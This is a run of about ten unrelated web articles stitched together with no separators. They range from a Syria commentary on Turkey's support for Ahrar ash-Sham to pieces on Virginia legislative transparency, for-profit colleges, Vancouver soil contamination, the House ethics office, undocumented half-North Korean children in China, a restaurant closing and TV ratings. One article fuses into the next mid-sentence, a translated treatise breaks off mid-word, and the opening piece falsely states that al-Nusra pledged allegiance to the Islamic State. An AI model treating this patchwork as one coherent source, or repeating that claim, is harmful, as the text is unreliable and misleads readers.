Earlier this week a leaked German intelligence document confirmed reports that Turkey is directly assisting Harakat Ahrar ash-Sham al-Islamiyya, a coalition of Islamist and Salafist units that have vowed to establish a Sunni Wahhabist state under Sharia law in Syria.
Ahrar ash-Sham is aligned with al-Nusra which has pledged allegiance to the Islamic State.
The Russians understand that Ahrar ash-Sham — currently the most powerful and effective jihadist group fighting in Syria — must be targeted if it hopes to turn back the effort to unseat Bashar al-Assad.
If NATO follows through on its promise to “defend all allies” by inserting troops in Turkey’s illegal “safe zone,” it will be effectively aiding and abetting the Islamic State.The following statement was given by Megan Rhyne at the April 14 news conference where Transparency Virginia’s report was released. Rhyne is executive director of the Virginia Coalition for Open Government and the report’s principal author.
It is tempting for each of us in this room to take for granted the ways of the General Assembly. Year in and year out, as lobbyists, advocates, media, staff or lawmakers, we all gradually figure out how the process works and how it doesn’t work.
We know how to look up committee meeting times, we know how to look up legislation, we know how to act and what to expect in a committee meetings. We know what the motions mean. We know how to approach the secretaries, the legislative aids, the staff attorneys. And we always remember to preface our committee testimony by thanking the chair and the committee members.
We know these things because it is our job to know. We figure it out through being here, by observing, asking, and learning from others.
But are we in this room and elsewhere in the General Assembly and Capitol buildings today, are we the only ones who care about what happens here? Are we the only ones who have a stake in the outcome of proposed legislation? Are WE the only ones who want to know how well our elected officials have performed the jobs we elected them to do?
The answer is clearly no.
Yet, for any member of the public or press who is not intimately familiar with the legislative process, following or participating in that process is so difficult as to be nearly impossible. For example, when seasoned lobbyists are chastised for not following unwritten rules for opposing a bill, imagine what a citizen faces when trying to participate in person.
When engaged observers are physically present in the committee room and yet still cannot completely pick out which members of a 22-person committee shouted out aye or nay, imagine a citizen’s confusion back home when the disposition of a bill is listed online only as “subcommittee recommends laying on the table by voice vote.”
The system is set up for those on the inside, yet even many professionals are frequently left in the dark. Where decisions about state and local laws that directly and indirectly affect each and every one of us are made, the short sessions and the rapid-fire scheduling of committee meetings undermine participation by and accountability to the citizens of Virginia.
It is with this backdrop that Transparency Virginia formed in December of 2014 and today releases its report documenting the murky practices frequently seen in the Virginia General Assembly.
We are a loosely formed coalition of non-profit advocacy groups and individual lobbyists and advocates. We met in early January to identify the three practices we would take special note of during the session:
notice of meetings
the consideration of bills AND
recorded votes on bills
We chose these three areas because citizens would have little trouble understanding the fundamental role of each in the overall legislative process.
Many of Transparency Virginia’s findings are disturbing. Bills were introduced but then left in committees without ever being added to an agenda much less given a hearing. Bills were defeated by unrecorded voice votes, allowing some lawmakers to avoid responsibility and disallowing others from making their position known. Meetings were called with notice so short as to make it virtually impossible for anyone other than the committee members to attend.
These practices paint a stark reality: A body that prides itself on being a citizen legislature is too often a legislature that is NOT for the citizens.
It must be stated clearly and emphatically, though, that this report is not a condemnation of any one person or any one party.
Though Republicans hold majorities in both the House and Senate, it would be as much of a mistake to say, “This is a Republican problem,” as it would be to say, “This is an attack on Republicans.”
The sad truth is that these are systemic problems. Problems that have developed over time, over parties and over party leaders.
To anyone who would reduce this to a partisan issue, I would make the following two points:
First, as the report mentions, there are committee and subcommittee chairs who do the right thing and committees that operate openly. All of these committees are chaired by Republicans.
Second, a committee is more than its chair. Every committee is made up of members of both parties. And any member of either party can make a motion or a substitute motion that is or is not in the spirit of transparency. The data Transparency Virginia analyzed shows only how the committee or subcommittee voted as a whole, not which individual made the motion.
Further, any legislator of either party can speak out about opaque practices before, during and after committee meetings. No one from either party is gagged from advocating for transparency.
Transparency takes collective will and collective action. It can’t take place in a vacuum where lawmakers tell the public only how much they want to let them know, or where the public gets to demand that every detail be laid bare.
The aim of this report, and indeed for Transparency Virginia, then, is to facilitate a conversation about what makes better open government practices. What can we do to help citizens get and stay informed? What can we do to make participation easier?
We don’t have all of the answers.
It is our hope, instead, that our elected officials today and whoever they might be tomorrow take the public’s right to know seriously. They should work with their constituents and others to develop policies and procedures that work to the public’s benefit. And they should make it a priority to put those policies and procedures into practice.
This is what is best for us all. This is what makes us a Common-wealth. This is what makes us Virginians.An image grab taken from a propaganda video released on March 17, 2014 by the Islamic State of Iraq and the Levant (ISIL)'s al-Furqan Media allegedly shows ISIL fighters driving on a street in the northern Syrian City of Homs (AFP Photo/)
United Nations (United States) (AFP) - The UN Security Council on Monday backed a Russian initiative to bar trade in oil with Islamists in Iraq and Syria.
The 15-nation Council warned in a joint statement that buying oil from groups such as the Islamic State and Jabhat Al-Nusra fighting in Iraq and Syria could lead to sanctions.
"Such engagement constitutes financial support for terrorists and may lead to further sanctions listings," the council said.
Russia, a close ally of Syrian President Bashar al-Assad, presented the statement in late June, seeking to clamp down on middle-men who are selling the oil from Islamist-controlled areas.
Moscow's Ambassador Vitaly Churkin said he was pleased with the stance, saying it was a "reminder" from the top world body that "this amounts to a very serious transgression" of UN resolutions.
Islamic groups such as ISIL, which rebranded itself as the Islamic State, and Al-Nusra have seized oilfields and pipelines to bankroll their offensives.
The council said control of oil facilities "could generate material income for terrorists, which would support their recruitment efforts, including of foreign terrorist fighters, and strengthen their operational capability to organize and carry out terrorist attacks."
Trade of oil with the Islamists is in violation of UN resolutions and "all states are required to ensure that their nationals and any persons within their territory do not trade in oil with these entities," it said.
The Syrian Observatory of Human Rights said last week that Islamic State (IS) fighters in Syria were selling oil and gas to Iraqi businessmen.
IS insurgents took control of large parts of Iraq's north and west in a sweeping offensive that began on June 9, preventing Baghdad from exporting oil via a pipeline to Turkey and by road to Jordan.TRANSLATIONS FROM THE WRITINGS OF Sayyid Kāẓim Rashtī (d. 1259/1843) Risālah fī sharḥ wa tafsīr ism al-a`ẓam: A Treatise in Explanation and Commentary upon [a Shī`ī graphical form of] the Mightiest Name of God by Sayyid Kāẓim al-Husayni al-Rashtī (d. 1259/1843) BEING CORRECTED AND COMPLETED 2007-8 This work of Sayyid Kazim Rashti is referred to in the Ibrahimī, Fihrist, p. 303, No. 167 where it is said to extend for 275 verses. There is an old printing (not seen) though the autograph (original) mss. appears to be lost. The translation below is from the SOAS (London) Ms., #92308 fol. 271a-274a item 24 -- a copy of which was kindly made available to me in the early 1980s by B. Todd Lawson, since which time I have obtained my own microfiche versions. There can be little doubt that these graphic signs are examples of Islamo-biblica or Isrāīliyyāt ("Israelitica") rooted material reflecting pre-Islamic Abrahamic-Judaic traditions which have been assimilated into Islam. Certain of the graphical forms of the Islamic al-ism al-a`ẓam (Mightiest Name [ of God] ) appear to be based upon earlier graphical representations of the "seal of Solomon" which sometimes existed in a seven fold graphical schemata in Jewish mystical texts and traditions. Some Shi`i traditions have it that Imam `Ali chanced upon the al-ism al-a`zam inscribed upon a rock and declared it to be the Mightiest Name of God. Something of the Jewish roots of the al-ism al-a`zam concept might be partly illustrated with reference to such works as the Sepher ha-yetsirah ("Book of Formation"), traditionally ascribed to te Patriarch Abraham, though more likely originating in the post-Islamic times (8-9th cent. CE?). Reference should also be made to the various commentaries upon Sepher Yetsirah IV: 6 and to Shi`i traditions about the al-ism al-a`zam originating in ghulāt ("extremist") circles in the early Islamic centuries. Both Sunnī and Shī`ī - Isma'ili esoteric sources contain traditions which purport to set forth graphic, sometimes talismanic forms of al-ism al-a`ẓam (the Mightiest Name [of God]). A dozen or more such alphabetic, qabbalistic, cryptographic representations of this all-highest Name are found in Islamic literatures (see for details, Winckler, 1930; Anawati,1967). Shī`ī representations of this Mightiest Name are often based upon directives spelled out in a tradition relayed by the father if Islamic Tafsir Ibn `Abbās from the first Imam, `Alī ibn Abī Ṭālib (d.40/661). It is cited, among others, by the Sunnī theologian and mystagogue Aḥmad ibn `Alī al-Būnī (d. 622/1225 CE) whose writings were known to Shaykh Aḥmad al-Ahsā'ī and others in Qajar Persia. al-Būnī was an occult initiate of arcane computations surrounding the Names and Attributes of the Godhead as evidenced in his Shams al-ma`ārif al-kubrā... ("The greater Sun of Mystic meaning") and other works (see further Lambden, Ph. D thesis, 215ff)They were sometimes used for esoteric or magical purposes. There are several variant versions of the poem ascribed to Imam `Alī detailing the elements making up the graphical form of the Mightiest Name of God. Sayyid Kāẓim Rashtī comments on aspects of an extended, longer version orally transmitted from Imam `Ali to Shaykh Ahmad al-Ahsa'i and his forbears and reproduced in scand and typed out below. This sometimes novel Shī`ī-Shaykhī version differs at various points (sometimes marked by * ) from other better known versions spelling out the graphical form of the Sunni-Shi`i Islamic Mightiest Name of God. A Treatise in Explanation and Commentary upon [a Shī`ī graphical form of] the Mightiest Name of God by Sayyid Kāẓim Rashtī In the Name of God, the Merciful, the Compassionate [1] Praise be to God, the Lord of the worlds and blessings be upon the best of His creatures, the manifestation of His Grace (maẓhar luṭfihi) and locus of His Name, Muhammad, and upon His purified family. [2] And now what the poor, annihilated servant al-Kāẓim son of Qasim al-Ḥusaynī al-Rashtī saith. He was assuredly directed by the glorious master (al-walī al-mumajjid), the seeker of the truth and the upright and sagacious Jināb-i Ḥajjī Muhammad Aḥmad (may God bestow befitting realizations upon him), that certain of the religious communities (al-millī) are aware of some of the elements [words] (al-kalimāt) constituting the Greatest Name [of God] (`alā al-ism al-a`ẓam) which is evident and manifest in the fourteen temples (al-ẓāhir fī hayākil arba`ah ashara..) [= the pleroma of the 14 immaculate ones = the twelver Imams + Muhammad and Fāṭimah]. And he [Shaykh Aḥmad] disclosed some of the secrets of that Mighty Name (al-ism al-mu`aẓẓim) and explained that it is differentiated into thirteen letters, [note 1] four of which are from the Torah (al-tawrāt), four from the Gospel (al-injīl) and five from the Qur’ān. His [clarificatory] directive was realized [at a time when] the heart (al-qalb) [of Say
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percent of the company’s revenue, and $925 million of their profit, is attributed to federal taxpayer sources.”
At the same time that states, pleading poverty, are slashing public university budgets and the federal government now charges interest on loans to graduate students while they’re in school, more than $30 billion are funneled each year to for-profit colleges from the federal government, in the form of grants and loans.
Despite paying (and borrowing) significantly more, students at for-profit schools are less likely than their counterparts at public four-year institutions to leave school with a degree. Of the nearly half a million students who enrolled in an associate degree program in 2008-09, the report found that nearly two-thirds (62.9 percent) had dropped out by the middle of 2010. Over half (54.3 percent) left their bachelor’s degree programs by that point.
And studies show the benefits of a degree from a for-profit school are likely negligible. A study published in June by two Boston University economists found that while those who get degrees from public or private non-profit colleges and universities experience significant benefits, including higher wages and lower unemployment, students who attended for-profit universities don’t. As Time magazine reported:
The [Boston University] researchers found that six years after they enter college, for-profit students are more likely to be unemployed–and to be unemployed for periods longer than three months. And, further, if they are able to find a job, students who attend for-profits make, on average, between $1,800 and $2,000 less annually than their peers who attended other institutions.
This isn’t surprising given how little of their inflated tuition prices for-profit colleges actually spend on students’ educations. The Senate report estimates average per-student spending at for-profit colleges to be just over $2,000 in 2009–and some spend much less.
For example, the Apollo Group, which “educated” over 500,000 students in 2010, spent just $892 per student on instruction. According to its own estimates–which the bosses at the University of Phoenix reserve the right to change at any time–a bachelor’s of arts degree at the school will likely cost over $10,000 per year, while a bachelor’s of science degree runs nearly $15,000 annually, well over 10 times the amount spent on teaching.
Far from being the most efficient way to deliver a service, as proponents of free enterprise like to claim, market-based, for-profit approaches to higher education result in massive waste. Instead of student instruction, the bulk of tuition money goes to marketing to bring in new students, multimillion-dollar salaries for top executives, lobbying politicians and, last but certainly not least, profits.
Marketing is a top priority to for-profit institutions. An investigative report by the Village Voice revealed that recruitment is typically aimed at the most vulnerable–for example, veterans suffering from post-traumatic stress disorder and brain injuries–and often involves outright fraud, such as encouraging under-age applicants to lie to their parents and the federal government about their eligibility for financial aid.
Last year, the Institute for Higher Education Policy released a report revealing that low-income students are four times as likely to attend a for-profit college as students from more well-off families. And low-income women are disproportionately likely to attend for-profit schools, enrolling at twice the rate of low-income men.
A number of these students would have attended public schools in the past–according to the report, the portion of students who grew up in poverty who enrolled at four-year public institutions dropped from 20 percent in 2000 to just 15 percent in 2008.
Students of color are also disproportionately represented at for-profit schools. According to a working paper published by the National Bureau of Economic Research: “African Americans account for 13 percent of all students in higher education, but they are 22 percent of those in the for-profit sector. Hispanics are 15 percent of those in the for-profit sector, yet 11.5 percent of all students.”
For-profit colleges use student recruitment techniques similar to those used by the brokers who pushed sub-prime mortgages during the 2000s–the predatory housing loans that disproportionately targeted African Americans and Latinos, and poor and working-class borrowers. According to the Voice, for-profit colleges:
buy lists [of potential students] from companies like QuinStreet, which made its name providing leads to subprime-mortgage brokers…The idea is to prey on people’s hopes and desires, offering that yellow brick road to the American dream: an education and a better job. [Recruitment workers] are trained to identify emotional weaknesses and exploit them.
In fact, a recruitment staffer quoted in the Village Voice article, who worked for Education Management Cop., an operator of for-profit colleges owned in large part by Goldman Sachs, said, “Half the people I worked with, their previous job was in the mortgage industry. They targeted people in that industry…They were the ones that did the best because they were so unscrupulous.”
Like those who orchestrated the sub-prime mortgage crisis, top executives at for-profit education companies have been rewarded with multimillion-dollar compensation packages.
According to the Senate report, “[T]he CEOs of the large publicly traded for-profit education companies took home, on average, $7.3 million each in fiscal year 2009”–about seven times the amount earned by the highest-paid heads of the most prestigious public and private non-profit institutions. The best paid of all was Richard Silberman, CEO of Strayer Education, Inc., whose compensation totaled $41.5 million in 2009, placing him among the highest-paid corporate executives in the world.
And that’s not to even mention profits. For-profit “education” is incredibly lucrative. Senate investigators say that “many of the companies had profit margins that topped most of Wall Street…the 30 companies examined by the committee generated $3.6 billion in profit, or 19.4 percent of revenue [in 2009].” ITT Educational Services Inc. and Strayer Education Inc. had profit margins of 37.1 percent and 33.7 percent, respectively. On average at these companies, a greater share of total revenues went to profits than to educating students.
And it’s the usual suspects who are making money. The Senate report found that “by 2009, at least 76 percent of students attending for-profit colleges were enrolled in a college owned by either a company…traded on a major stock exchange or a college that is owned by a private equity firm.”
The Senate report paints a picture of the for-profit higher education industry that looks an awful lot like the sub-prime mortgage industry, whose collapse triggered the financial crisis of 2008.
Wall Street firms and other big-money investors are raking in billions backing companies that aggressively target low-income people, especially Blacks and Latinos, offering them an inferior product at higher costs. More often than not, students at for-profit schools end up in massive debt with little or nothing to show for it.
Even worse for those caught up in the scam is that student loans, unlike mortgages, cannot be discharged through bankruptcy–and lenders can even garnish Social Security payments to collect on outstanding debts. Without major reforms, student loan debt will cripple many of these borrowers for the rest of their lives.
And just like they let the banksters off the hook for the financial crisis, political leaders have refused thus far to do much of anything about the schemes of the for-profit education industry.
Earlier this year, the Obama administration announced new regulations that were supposed to identify education programs which burden students with high levels of debt–for example, by measuring how many attendees get “gainful employment.” But the new rulers were full of enough holes that even the worst offenders among for-profit colleges could pass muster. According to Higher Ed Watch:
Responding to a massive lobbying campaign from the for-profit higher education industry, the administration watered down their proposed regulations to such an extent that only programs that flunk all three of the department’s low-bar gainful employment tests are considered to be out of compliance. That means that only programs at which fewer than 35 percent of former students are repaying their loans and where the typical graduates have annual student loan payments that exceed 12 percent of their total earnings and 30 percent of their discretionary income would have eventually been in jeopardy of losing access to federal financial aid.
The for-profit college industry paid good money to avoid any trouble in Washington. According to the Village Voice, “The industry had discovered the value of paying protection money to Congress. It spent $16 million on lobbying last year alone, buying a dream team of former officials that includes former House Majority Leader Dick Gephardt (D-Mo.) and no less than 14 former congressmen.”
To add insult to injury, the bulk of the millions that for-profit colleges spend on lobbying comes from the federal government–the source of most of the industry’s revenues. So they are essentially using government money to prevent the government from regulating them.
The abuses of for-profit colleges are an inevitable result of applying the profit motive to a public need like higher education.
In business, the drive for profit trumps every other consideration. For-profit colleges make their money by minimizing costs and maximizing revenues–in this case, spending as little as possible on educating students while charging them as much as possible; spending intensively on marketing to bring in new “customers,” regardless of whether or not they actually finish their degree or receive a quality education; and extracting as much of the revenue as possible in the form of profits and lavish salaries and bonuses for top executives.
However, while for-profit colleges are responsible for the worst outrages, they are merely more grotesque examples of a broader trend toward the privatization of public higher education and a “business model” approach to education.
In recent decades, tuition and fees at public colleges has tripled, while grants are increasingly replaced with loans, leaving students drowning in debt. Instead of a public service provided by the state, higher education has been transformed into a prohibitively expensive product, paid for with debt.
Many of the loans students take out to attend public and private non-profit colleges generate massive profits for private lenders. For example, Sallie Mae, the largest lender to students, was privatized in 2004–it rakes in billions from its operations.
And an investigation by then-New York Attorney General Andrew Cuomo a few years ago found widespread evidence of unethical and often illegal relationships between lenders and college officials at hundreds of colleges, benefiting the student lending industry at the expense of students.
There are plenty of other examples of how higher education generally is following the privatization trends. Many public universities outsource aspects of their operations to private, for-profit corporations. Full-time professors are increasingly being replaced with lower-paid adjuncts, who lack benefits and job security.
Finally, although public universities and private non-profit colleges are not supposed to generate a profit, trustees and top administrators are often able to enrich themselves in various ways at the expense of students, staff and professors.
So while for-profit colleges are an extreme example of the failure of the market to meet human need, the threat to higher education posed by the pursuit of profit runs much deeper. Addressing this means building a movement that demands higher education–provided by full-time professors with union protection, job security, and good wages and benefits–as a human right.An eight-month study of Vancouver garden and agricultural soils has found levels of lead and other metals above the most stringent Canadian standards for human health.
Samples taken from the 16 Oaks community garden averaged 219 parts per million of lead, which exceeds the standard of 70 to 140 ppm for agricultural, residential and park land set by the Canadian Council of Environment Ministers.
Levels of lead — a potent neurotoxin — are five times higher than those measured at UBC Farm, a site remote from urban activity just a few kilometres away.
Samples of soil, dust and Kentucky bluegrass were collected from UBC Farm, the community garden (which was once a parking lot and restaurant), and a former scrap yard at East Hastings and Glen Drive and analyzed for five metals of interest: zinc, lead, manganese, nickel and copper.
Levels of all the metals measured in soil from UBC farm were close to normal, expected concentrations. Zinc and lead were several times higher than normal at the community garden, located at West 16th And Oak, and levels of zinc, lead and copper were elevated at the Hastings site, a so-called “brownfield” located between a busy roadway and railroad tracks.
A brownfield is land assumed to be contaminated due to industrial use.
Dust samples suggest contamination on the urban sites is likely the result of decades of accumulation of metal-contaminated particles from automobile, train and marine traffic, according to the study’s author Gladys Oka, a graduate student at the University of B.C.
Although lead was removed from most fuels in the late 1980s, it continues to accumulate in dust on the urban test sites at twice the rate as on UBC Farm, the study found.
Lead can persist in soil for many years, but because the dust is heavy it doesn’t travel far from its source, so soil contamination could be managed in community gardens with buffer zones between gardens and transportation corridors, she said.
The levels of metals found in the roots and shoots of the bluegrass samples closely mirrored the elevated levels of metals in the soils on the urban sites and were much lower at UBC Farm. Bluegrass samples from 16 Oaks contained approximately 400 ppm of lead, while the Hastings site samples contained 172-253 ppm.
Plants grown on uncontaminated soil typically have lead concentrations between 0.1 ppm and about 10 ppm, with an average concentration of 2 ppm.
Canada sets a limit on the lead content for apples and pears at 7.0 ppm and 0.2 ppm for fruit juices, according to a report issued by the World Health Organization and the Food and Agriculture Organization of the United Nations. Health Canada is proposing to further reduce the acceptable levels of lead in fruit juices and nectars.
Urban gardeners should consider Kentucky bluegrass the “canary in the mine shaft” for foods grown in the city, especially near busy roads and transportation corridors, according to Oka’s thesis adviser Les Lavkulich, a professor emeritus at the faculty of land and food systems.
How much lead is accumulated by a growing plant varies widely by species, weather and soil type.
“We don’t eat Kentucky bluegrass, but the results are an indication that there is something wrong,” he said.
The soil samples from the urban test sites exceeded most government and international standards for metal pollution, said Lavkulich, adding, “These numbers are higher than is commonly acceptable for growing vegetables and food crops.”
Oka’s findings may call into question the City of Vancouver’s enthusiasm for urban agriculture.
“You want to be conservative. According to the precautionary principle, if you aren’t sure what you are dealing with, you have a moral and ethical responsibility to go slowly,” said Lavkulich. “We aren’t saying don’t grow food, but you want to be sure what the impacts are on human health before you start advocating for urban agriculture.”
The city encourages would-be gardeners to have their soil tested and, barring that, to grow vegetables in lined boxes with clean soil rather than in the native soil, said Coun. Andrea Reimer.
“This city has a long industrial history and they didn’t always have the environmental standards that we have today,” she said.
Vancouver is in the process of developing a plan to deal with environmental toxins, including those in soil, as part of the Healthy City Strategy passed by council in October, Reimer said.
Toronto and Montreal already have guidelines to assess potential sites for urban agriculture and community gardens for contamination, according to the study.
The study, Soil Assessment for Urban Agriculture: A Vancouver Case Study, is published in the peer-reviewed Journal of Soil Science and Plant Nutrition.
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Click here to report a typo or visit vancouversun.com/typo.Facing scathing scrutiny after opening the 115th Congress with a secret midnight vote to gut the independent Office of Congressional Ethics, House Republicans on Tuesday abruptly withdrew the amendment before it could even go before the full chamber for a vote.
Bipartisan ethics watchdog groups led the charge, issuing blistering statements that attacked GOP lawmakers for undermining transparency and accountability in order to protect their own reputations.
“There has been such a backlash and so much tweeting and communication via public channels about this,” Viveca Novak of the Center for Responsive Politics told TPM. “They’re not just going to be able to ram it through with no repercussions.”
The OCE functions as the House’s independent ethics watchdog, investigating alleged ethics violations made by House members and their staff. The agency’s power is restricted to reviewing allegations, compiling a report and filing that report to the House Ethics Committee, which ultimately decides whether or not to conduct a formal investigation or issue sanctions.
Despite this relative toothlessness, the OCE enjoyed two key privileges: independence from Congress and the ability to make its reports public, providing crucial accountability. Both of those privileges would have gone out the window under the amendment proposed Monday night by House Judiciary Committee Chairman Bob Goodlatte (R-VA), which passed the GOP caucus by a vote of 119-74. Under Goodlatte’s measure, any OCE investigation could be stopped at the discretion of the Ethics Committee; the agency would have no spokesperson; and the agency would be banned from publicly releasing its findings without permission.
Craig Holman, a government affairs lobbyist for the watchdog group Public Citizen, said he was “exceedingly surprised” by the sudden appearance of Goodlatte’s measure.
“We had received assurances from the Republican conference that OCE was going to be reauthorized in the new Congress,” Holman told TPM. “A coalition of watchdog groups sent a letter to [House Minority Leader Nancy] Pelosi [(D-CA)] and [House Speaker Paul] Ryan [(R-WI)], and we were assured that OCE was going to be kept intact. It was just a midnight rule change last night that reversed everything so we were completely caught off guard.”
In November, Holman and representatives from other watchdog groups had put together a sweeping package of ethics reforms for the incoming Congress. Hoping that lawmakers would be inspired by President-elect Donald Trump’s “drain the swamp” campaign promise, the package draftees called on Congress to grant the OCE subpoena power, which it currently lacks, and to create a separate Office of Senate Ethics.
“We thought with the ‘drain the swamp’ message that there may be some efforts to strengthen ethics provisions not just for all government agencies in the next administration but for the next Congress as well,” said Scott Amey, general counsel for the Project on Government Oversight, which signed onto the ethics reform package.
Instead, a majority of House Republicans took the opposite tack, arguing that the OCE was overly aggressive in investigating members of Congress and that the agency’s public reports damaged the reputations of their subjects, whether or not it found ethics violations.
Appearing on ABC’s “Good Morning America” Tuesday morning, Trump’s special advisor Kellyanne Conway lamented the “overzealous” actions of the OCE.
“We don’t want people wrongly accused and we don’t want people mired in months if not years of ethical complaint review,” she said.
Amey argued those concerns don’t justify a complete defanging of the agency.
“That’s not a reason to throw the baby out with the bathwater,” he said. “There may be ways to improve on the system and also provide an increase of due process and protections for anyone accused of violating ethics rules, but it seems that the kneejerk reaction was to get rid of the whole office and make it a paper tiger.”
The OCE undeniably pushed the House Ethics Committee to take more action. According to Public Citizen’s Holman, the committee issued only five sanctions from the 1990s through 2006. Another five sanctions were issued from 2006-2008, after gambling lobbyist Jack Abramoff pled guilty for conspiring to bribe public officials to support certain pieces of legislation, an embarrassing scandal that destroyed the careers of several government officials.
Then in 2008, the incoming Democratic-controlled congress created the OCE to provide greater oversight.
“We immediately saw a four-fold increase in the number of actions taken by the House Ethics process because of OCE,” Holman said, pointing to some 20 sanctions the Ethic Committee issued from 2009-2014.
While some lawmakers grumbled at the OCE’s efforts, the agency received broad bipartisan, public support.
Judicial Watch, the watchdog group founded by conservative attorney and conspiracy theorist Larry Klayman and that is perhaps best known for dogging Hillary Clinton’s 2016 campaign through FOIA lawsuits, issued a statement Tuesday calling the OCE “the most significant ethics reform in Congress” and admonishing House Republicans for their “shameful,” “drive-by effort” to kill it.
Individual lawmakers joined the call against the rules change, and Trump fired off a pair of tweets asking if weakening the “unfair” agency should really be the “number one act and priority” of the new Congress.
Perhaps the most damning response came from the man whose felony crimes led to the OCE’s creation. Abramoff himself told Politico that “moving to diminish oversight is exactly the opposite of what Congress should be doing.”
Under this withering collective backlash, the House GOP called an emergency meeting on Tuesday to strike the language from its rule package. Just as suddenly as their ethics debacle emerged, it was gone.When Ms. Park, a North Korean national living illegally in China, was caught by the police, she left behind an abusive Chinese husband and their 4-year-old son. Without Ms. Park present, her son was abandoned by his father and left with his paternal grandparents. Almost starving to death in their care, her son found food from begging or in the local church. Not only was the family situation dire, but Ms. Park’s son was also not recognized by the local government as a Chinese national, nor was he given legal documentation. Without documentation, he was unable to receive an education. Ms. Park’s son had no choice but to wait until his mother returned from North Korea to find him.
North Koreans and their undocumented children usually live in the provinces of China that border North Korea. These regions are melting pots of cultures: Han Chinese, chaoxianxu (Chinese of Korean ethnicity), and legal and illegal North Korean migrants along with their children all seamlessly co-exist. Both the Korean and Chinese languages can be overheard in the streets. At first sight, there is little to distinguish those who are Chinese from those who are not. What separates the populations is civil documentation.
As the (Chinese) state only allows people to work and receive education in their location of hukou registration, it can control the movement of its citizens
China has an advanced civil documentation system called the hukou (household registration) system. The hukou booklet is documentary evidence proving a citizen is registered on the National Population Information Management System, the state’s digitalized database, instigated in 1986. Without the hukou one cannot make an ID card, and would thus be unable to receive education or welfare, take up legal employment, travel or have proof of nationality. The Chinese government has been able to secure high registration numbers because people need legal documentation in their daily lives. As the state only allows people to work and receive education in their location of hukou registration, it can control the movement of its citizens. Therefore the hukou system, by controlling domestic migration, is a cornerstone of the state’s authority.
This documentation is of central importance to those who live illegally in China, particularly North Korean women, as they are deprived of it. Whether boarding a long-distance bus or facing law enforcement officers, lack of documentation marks these individuals as outsiders when asked to prove their identity.
Although there are no definitive statistics of how many North Korean illegal migrants live within China, estimates hover above the 25,000 mark. Lacking documentation because of their illegal status relegates them to working in the informal economy. Most women find livelihoods in the prostitution industry or in informal marriages to Chinese men. In many cases, women are trafficked and sold, although some prefer to enter into relationships with Chinese men rather than try to survive in China alone. Whether by force or by choice, once women are in relationships, because they have few options to survive without documentation, they are more likely to stay in abusive or exploitative relationships because they offer some security and shelter.
Upon being sold into marriage in China, most women are expected to become mothers; it is their children who occupy a legal limbo. The number of half-North Korean, half-Chinese children can only be guessed, although some sources put the figure as high as 20,000. These children, theoretically, could be either Chinese nationals or North Korean nationals under the respective domestic nationality law; in practice neither country recognizes this nationality. North Korea seeks to preserve its racial purity; common are stories of forced abortions induced when North Koreans returning from China pregnant.
Chinese local law enforcement, conversely, tends to recognize the citizenship of these children, and give them a hukou, on the condition that the mother is repatriated to North Korea. However, this is not always the reality, and some children end up neglected without a main caregiver and without documentation – like Ms. Park’s son. This does vary, though, with each situation. One NGO employee working with half-North Korean children in China told me that because there is no official policy governing how these children are treated, much depends on the ethnicity of city officers, corruption and the location in China. Some officials take pity on the children. More often, bribery can open the doors to accessing documentation, but the fee can be high and it is the fathers who choose whether or not to pay. Some villages near the North Korean border are losing their population as North Korean villagers go to South Korea. When populations are depleted, there is more liberality in how the hukou is granted.
BARGAINING POSITION
Given the difficulty in obtaining documentation, North Koreans and their Chinese family must decide whether to even attempt to bargain with local officials. Gaining documentation for their child means exposing their illegal presence within China. If the women are returned to North Korea they face interrogation, beatings, labor camps, torture, starvation and even death. The situation along the border is tense, especially these days. After Kim Jong Il’s death in 2011, when Kim Jong Un became the leader of North Korea, restrictions were further intensified. Land mines were planted along the border to supplement the barbed wire fences, and cameras installed along major defection routes, as well as spiked panels with four-inch nails implanted along the banks of the Tumen River. In small villages, however, it is almost impossible for illegal immigrants to remain hidden indefinitely. Usually the North Korean females must pay continued bribes to local officials to ensure their safety, even if they cannot secure the hukou for their children.
The lives of children of North Korean mothers living within China vary substantially. Those who live without a hukou either lack access to education, or their education is bought privately. Most can theoretically access private health care and immunizations, but without state documentation, they do not have the subsidized health care usually given to Chinese children. There are illegal channels that families use to circumvent this situation. Some buy cheap fake documents for their children, hoping these will suffice in daily situations. Another way around the system is to buy a dead person’s hukou, although this is not without risk – especially if they are caught. Bribery is the best way for children to live as normal Chinese citizens, if they can convince local officials to give them hukou registration. At this point they will have their Chinese nationality – which they are entitled to under the law – fully recognized.
NGOs working in the region tend to take a silent approach to helping this population
Children without documentation face varying degrees of vulnerability. Those with a stable adult as caregiver fair better; in many cases the grandparents raise these children. Those without a stable guardian face more uncertain outcomes. It is common for these children to be brought up in elderly homes or churches. NGOs working in the region tend to take a silent approach to helping this population. While they are unable to openly help undocumented half-North Korean children, many work to alleviate their vulnerability in secret, or even with the local government’s tacit approval.
The problem is this first generation of children born in China but denied the hukou are now coming to adulthood. Before 1990, few illegal North Korean migrants were seen in China. Only in the early 1990s, when North Korea’s economy started to falter at the same time as famine spread, did North Koreans seek to escape. Between 1996 and 1999, an estimated 450,000 to 2 million people starved to death, and many more entered into China illegally. It is this generation’s children who now must find a sustainable way to live.
As they age, the parents and grandparents of these children will not be able to continuing supporting them, nor will these Chinese-North Korean offspring be eligible for the same sort of support from NGOs they received as children. As undocumented adults they are unable to secure legal employment, or state welfare. For most, the solution will be either attempting to somehow secure the hukou as an adult, or to make their way to South Korea. Whether this is possible is another matter.
Main picture: Eric LafforgueJames Ostrand
James Ostrand James Ostrand
Steak Frites was one of St. Pete Brasserie's most popular dishes.
Wednesday morning, St. Pete Brasserie owner and operator Justin Chamoun announced the downtown St. Pete restaurant would be closing. Their last night in business is Saturday, September 28.
"The rain this week seems very fitting for such a sad time for all of us here at the Brasserie. We have all enjoyed getting to know many of you over the years. It has been amazing to have such a loyal following and to see so many of you so often," Chamoun wrote on Facebook Wednesday.
Diners will no doubt miss the Brasserie's notable onion tart and steak frites (which former CL food critic Brian Reis loved in his 2009 review).
No reservations will be taken this weekend, all service is first come, first serve.[TABLE=2648]
Update: Fox had Nielsen do a rush job on the time zone adjusted final national ratings and American Idol was adjusted up to a 7.4 adults 18-49 rating, which was down 24% vs. the 9.8 rating for last Wednesday’s premiere, and 21.9 million viewers which was down 16% vs. last season’s 26.2 million.
Update 2: I ran some numbers for a newspaper interview, and while last season’s first night premiere telecast was down 17% among adults 18-49, the first night ratings for the season overall ended up being down only 4%. So predicting the season’s entire ratings trend from the first night is folly.
Update 3: Here’s an even more detailed breakdown of the season/season changes in different demos via Fox press note:
Adults 18-49: -24%
Adults 18-34: -24%
P12-34: -23%
Teens: -14%
Women 18-49: -21%
Women 18-34: -22%
